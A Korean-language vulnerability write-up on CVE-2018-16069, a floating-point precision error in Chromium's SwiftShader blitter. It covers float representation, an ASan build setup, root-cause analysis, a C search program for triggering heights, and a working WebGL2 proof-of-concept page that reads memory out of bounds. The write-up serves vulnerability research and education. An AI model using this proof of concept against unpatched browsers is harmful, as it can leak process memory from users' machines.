본문 바로가기

Research/Browser

CVE-2018-16069 (Floating-point precision errors in Swiftshader blitting)

Background

Precision error

프로그래밍 언어에서 limited precision arithmetic operation을 수행할 때 precision error가 발생할 수 있습니다. 실존하는 수는 무한한데 컴퓨터는 제한된 공간에 2진수 형식으로 수를 저장하기 때문에, 실제 프로그래머가 의도한 값과 컴퓨터에 저장되는 값이 달라지는 현상입니다.

대표적인 precision error에는 integer overflow가 있습니다. 4바이트 크기의 int형 변수는 2 ** 32가지의 정수만 표현할 수 있는데, 표현 가능한 범위를 넘어가게 되면 overflow가 발생하여 실제 의도한 값과 다른 값이 저장됩니다.

이 글의 버그는 floating-point arithmetic operation에서의 precision error로 인해 발생합니다. 다음의 예시는 floating-point arithmetic operation에서 precision error가 발생하는 코드입니다.

#include <stdio.h>

int main() {
    float a = 100000000;
    float b = 1;
    float c = a + b;

    printf("%f\n", c);
}
$ gcc -o float float.c; ./float
100000000.000000

100000000에 1을 더했지만 결과는 그대로 100000000이 나옵니다. float 자료형이 수를 저장하는 방법을 생각해 보면 원인을 알 수 있습니다.

float은 실수를 저장하는 4바이트 자료형으로, sign 1비트, exponent 8비트, fraction 23비트로 구성되어 있습니다.

a에 저장된 값을 2진수로 출력해보면 다음과 같습니다.

#include <stdio.h>

int main() {
    float a = 100000000;

    for (int i = 31; i >= 0; i--) {
        if (i == 30 || i == 22)
            printf(" ");
        printf("%d", (*(int *)(&a) & (1 << i)) >> i);
    }
    printf("\n");
}
$ gcc -o test test.c; ./test
0 10011001 01111101011110000100000

a2 ** 26(67,108,864)보다 크고 2 ** 27(134,217,728)보다 작기 때문에, 1.XXX * (2 ** 26)의 형태로 표현할 수 있습니다. 따라서 exponent는 26에 bias(127)를 더한 153(10011001)입니다.

Fraction은 소수점 이하의 XXX부분을 표현하는데, 23비트이므로 fraction이 1 증가하면 소수부는 2 ** -23만큼 증가합니다. 여기에 지수부인 2 ** 26을 곱하면 실제 값은 2 ** 3(8)만큼 증가합니다. 즉, a의 값이 변하는 최소 단위는 8이 됩니다.

#include <stdio.h>

void print_bin(float f) {
    for (int i = 31; i >= 0; i--) {
        if (i == 30 || i == 22)
            printf(" ");
        printf("%d", (*(int *)(&f) & (1 << i)) >> i);
    }
    printf("\n");
}

int main() {
    float a = 100000000;
    float b = a + (float)4;
    float c = a + (float)4.1;

    printf("%f ", a);
    print_bin(a);
    printf("%f ", b);
    print_bin(b);
    printf("%f ", c);
    print_bin(c);
}
$ gcc -o float float.c; ./float
100000000.000000 0 10011001 01111101011110000100000
100000000.000000 0 10011001 01111101011110000100000
100000008.000000 0 10011001 01111101011110000100001

a에 4를 더했을 때는 버려지고, 4.1을 더했을 때는 8이 더해지는 것을 확인할 수 있습니다.

SwiftShader

SwiftShader는 CPU 기반 그래픽 라이브러리입니다. Chromium은 Skia라는 GPU 기반 그래픽 라이브러리를 기본으로 사용하는데, 만약 시스템에 그래픽 드라이버나 하드웨어가 없을 경우에 fallback renderer로 SwiftShader를 사용합니다.

GPU가 있는 시스템에서도 Chromium에 --disable-gpu 옵션을 주고 실행하면 강제로 SwiftShader를 사용하도록 할 수 있습니다.

Analysis

Environment setting

Chromium issue에서 PoC를 테스트한 Chrome 버전을 명시해 두었습니다.

해당 release의 commit hash는 164c37e3f235134c88e80fac2a182cfba3f07f00입니다. 이 커밋 시점의 Chromium을 ASan을 적용하여 빌드합니다.

OS: Ubuntu 18.04
Hard Disk: 150GB
Memory: 8GB
Processors: 4

mkdir chromium
cd chromium
fetch chromium
cd src
git checkout 164c37e3f235134c88e80fac2a182cfba3f07f00
gclient sync -D

이 커밋 시점에서 install-build-deps.sh가 Ubuntu 18.04를 지원하지 않기 때문에, dependency들을 수동으로 설치해 줍니다.

sudo apt install -y --reinstall libasound2:i386 libcap2:i386 libelf-dev:i386 libfontconfig1:i386 libglib2.0-0:i386 libgpm2:i386 libgtk2.0-0:i386 libgtk-3-0:i386 libncurses5:i386 libnss3:i386 libpango1.0-0:i386 libpci3:i386 libssl1.1:i386 libssl-dev:i386 libtinfo-dev:i386 libudev1:i386 libxcomposite1:i386 libxcursor1:i386 libxdamage1:i386 libxi6:i386 libxrandr2:i386 libxss1:i386 libxtst6:i386 linux-libc-dev:i386 ant apache2-bin autoconf binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf binutils-mips64el-linux-gnuabi64 binutils-mipsel-linux-gnu bison cdbs cmake curl dbus-x11 devscripts dpkg-dev elfutils fakeroot flex fonts-ipafont g++ g++-7-multilib g++-arm-linux-gnueabihf gawk git-core git-svn g++-mingw-w64-i686 gperf intltool lib32gcc1 lib32ncurses5-dev lib32stdc++6 lib32z1-dev libappindicator1 libappindicator3-1 libappindicator3-dev libappindicator-dev libasound2 libasound2-dev libatk1.0-0 libbluetooth-dev libbrlapi0.6 libbrlapi-dev libbz2-1.0 libbz2-dev libc6 libc6-dbg libc6-dev-armhf-cross libc6-i386 libcairo2 libcairo2-dev libcap2 libcap-dev libcups2 libcups2-dev libcurl4-gnutls-dev libdrm-dev libelf-dev libexpat1 libffi6 libffi6-dbg libffi-dev libfontconfig1 libfreetype6 libgbm-dev libglib2.0-0 libglib2.0-dev libglu1-mesa-dev libgnome-keyring0 libgnome-keyring-dev libgtk2.0-0 libgtk2.0-dev libgtk-3-0 libgtk-3-dev libjpeg-dev libkrb5-dev libnspr4 libnspr4-dbg libnspr4-dev libnss3 libnss3-dbg libnss3-dev libpam0g libpam0g-dev libpango1.0-0 libpci3 libpci-dev libpcre3 libpcre3-dbg libpixman-1-0 libpng16-16 libpulse0 libpulse-dev libsctp-dev libspeechd2 libspeechd-dev libsqlite3-0 libsqlite3-dev libssl-dev libstdc++6 libstdc++6-6-dbg libtinfo-dev libtool libudev1 libudev-dev libwww-perl libx11-6 libx11-xcb1 libxau6 libxau6-dbg libxcb1 libxcomposite1 libxcomposite1-dbg libxcursor1 libxdamage1 libxdmcp6 libxdmcp6-dbg libxext6 libxext6-dbg libxfixes3 libxi6 libxinerama1 libxinerama1-dbg libxkbcommon-dev libxrandr2 libxrender1 libxslt1-dev libxss-dev libxt-dev libxtst6 libxtst-dev linux-libc-dev-armhf-cross locales openbox p7zip patch perl pkg-config python python-cherrypy3 python-crypto python-dev python-numpy python-opencv python-openssl python-psutil python-yaml rpm ruby subversion texinfo ttf-mscorefonts-installer wdiff x11-utils xcompmgr xsltproc xutils-dev xvfb zip zlib1g zlib1g-dbg

third_party/swiftshader/src/Renderer/Blitter.cppBlitter::blit()에서, JIT 컴파일을 수행하는 blitReactor()가 호출되는 부분을 주석 처리합니다.

    void Blitter::blit(Surface *source, const SliceRectF &sourceRect, Surface *dest, const SliceRect &destRect, const Blitter::Options& options)
    {
        if(dest->getInternalFormat() == FORMAT_NULL)
        {
            return;
        }

        // if(blitReactor(source, sourceRect, dest, destRect, options))
        // {
        //     return;
        // }
...

ASan configuration

gn gen out/asan --args="is_asan=true is_debug=false"

ASan test

ninja -C out/asan base_unittests
out/asan/base_unittests \
    --gtest_filter=ToolsSanityTest.DISABLED_AddressSanitizerLocalOOBCrashTest \
    --gtest_also_run_disabled_tests

여기서 크래시가 나고 ASan 로그가 뜨면 잘 작동하는 것입니다.

ASan build

ninja -C out/asan chrome

Root cause

Blitting은 하나의 그래픽 컨텍스트에서 다른 그래픽 컨텍스트로 데이터를 복사하는 작업을 의미합니다. Blitter.cpp는 blitting을 구현한 파일이고, Blitter::blit()에서 취약점이 발생합니다.

    void Blitter::blit(Surface *source, const SliceRectF &sourceRect, Surface *dest, const SliceRect &destRect, const Blitter::Options& options)
    {
...
        SliceRectF sRect = sourceRect;
        SliceRect dRect = destRect;
...
        float w = sRect.width() / dRect.width();
        float h = sRect.height() / dRect.height();

        const float xStart = sRect.x0 + 0.5f * w;
        float y = sRect.y0 + 0.5f * h;

        for(int j = dRect.y0; j < dRect.y1; j++)
        {
            float x = xStart;

            if (j == dRect.y1 - 1) {
                printf("y: %f, expected y: %f, sRect.height(): %f\n", y, sRect.y0 + 0.5f * h + h * (dRect.height() - 1), sRect.height());
            }
            for(int i = dRect.x0; i < dRect.x1; i++)
            {
                // FIXME: Support RGBA mask
                dest->copyInternal(source, i, j, x, y, options.filter);

                x += w;
            }

            y += h;
        }

        source->unlockInternal();
        dest->unlockInternal();
    }

Blitter::blit()sourceRect(sRect)에서 destRect(dRect)로 비트맵 데이터를 복사하는 함수입니다. xw씩, yh씩 증가시키면서, dest->copyInternal()에서 xyint로 캐스팅하여 sRect(x, y)에서 dRect(i, j)로 데이터를 복사합니다.

    void Surface::copyInternal(const Surface *source, int x, int y, float srcX, float srcY, bool filter)
    {
...
        if(!filter)
        {
            color = source->internal.read((int)srcX, (int)srcY, 0);
        }
...
    }

반복문 내부에서, x, y, w, hfloat형 변수들이기 때문에 precision error가 발생할 수 있습니다. dest->copyInternal()에 들어가는 y의 값과 프로그래머가 의도한 y의 값이 다를 수 있고, 만약 전자와 후자를 정수로 캐스팅했을 때 전자가 더 크다면 OOB가 발생하여 범위 밖의 값을 읽어오게 됩니다. x에서도 같은 원리로 OOB가 발생할 수 있지만, y에서 발생할 경우에 연속적인 메모리를 읽을 수 있기 때문에 더 유용할 것입니다.

PoC

먼저 precision error를 발생시킬 수 있는 sRect.height()dRect.height()를 찾아야 합니다. y += hdRect.height() - 1번 반복한 결과를 정수로 캐스팅한 값이, y + h * (dRect.height() - 1)을 정수로 캐스팅한 값보다 1만큼 커야 합니다. 동시에, 전자는 src_height보다 크거나 같아야 오버플로우가 발생합니다.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    int src_height;
    int dst_height;
    float h;
    float y, expected_y;

    srand(time(0));

    while (1) {
        src_height = rand() % 8192;
        dst_height = rand() % 8192;
        h = (float)src_height / (float)dst_height;
        y = 0.5f * h; // assume that sRect.y0 == 0

        expected_y = y + h * (dst_height - 1);
        for (int j = 0; j < dst_height - 1; j++) {
            y += h;
        }

        if ((int)y == (int)expected_y + 1 && y >= src_height) {
            break;
        }
    }

    printf("src_height: %d, dst_height: %d\n", src_height, dst_height);
    printf("y: %f, expected_y: %f\n", y, expected_y);
}

src_heightdst_height가 8192보다 클 경우 PoC에서 frame buffer를 생성할 때 ERROR :GL_INVALID_VALUE : glRenderbufferStorage: dimensions too large 에러가 발생할 수 있습니다.

그리고 height가 충분히 크지 않으면 OOB가 발생하더라도 ASan이 overflow로 탐지하지 않는 것 같아서, 적당히 큰 수를 선택해야 합니다.

$ gcc -o find_h find_h.c; ./find_h
src_height: 7904, dst_height: 8003
y: 7904.003418, expected_y: 7903.506348

 

<!-- poc.html -->

<canvas id="canvas"></canvas>

<script>
    let canvas = document.getElementById('canvas');
    let gl = canvas.getContext('webgl2');
    canvas.width = 8192;  // bytes to read through OOB

    const src_height = 7904;
    const dst_height = 8003;

    // source frame buffer
    let src_fb = gl.createFramebuffer();
    gl.bindFramebuffer(gl.FRAMEBUFFER, src_fb);
    src_fb.width = canvas.width;
    src_fb.height = src_height;

    // source pixels
    let src_pixels = new Uint8Array(src_fb.width * src_fb.height * 4);

    // source texture
    src_tex = gl.createTexture();
    gl.bindTexture(gl.TEXTURE_2D, src_tex);
    gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_fb.width, src_fb.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_pixels);
    gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);

    // destination frame buffer
    let dst_fb = gl.createFramebuffer();
    gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
    dst_fb.width = canvas.width;
    dst_fb.height = dst_height;

    // destination render buffer
    let dst_rb = gl.createRenderbuffer();
    gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
    gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_fb.width, dst_fb.height);
    gl.framebufferRenderbuffer(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);

    // blit
    gl.blitFramebuffer(
        0, 0, src_fb.width, src_fb.height,
        0, 0, dst_fb.width, dst_fb.height,
        gl.COLOR_BUFFER_BIT, gl.NEAREST
    );

    // destination pixels
    let dst_pixels = new Uint8Array(dst_fb.width * 4);

    // OOB read
    gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
    gl.readPixels(0, dst_fb.height - 1, dst_fb.width, 1, gl.RGBA, gl.UNSIGNED_BYTE, dst_pixels);
</script>
~/chromium/src/out/asan/chrome --disable-gpu poc.html

References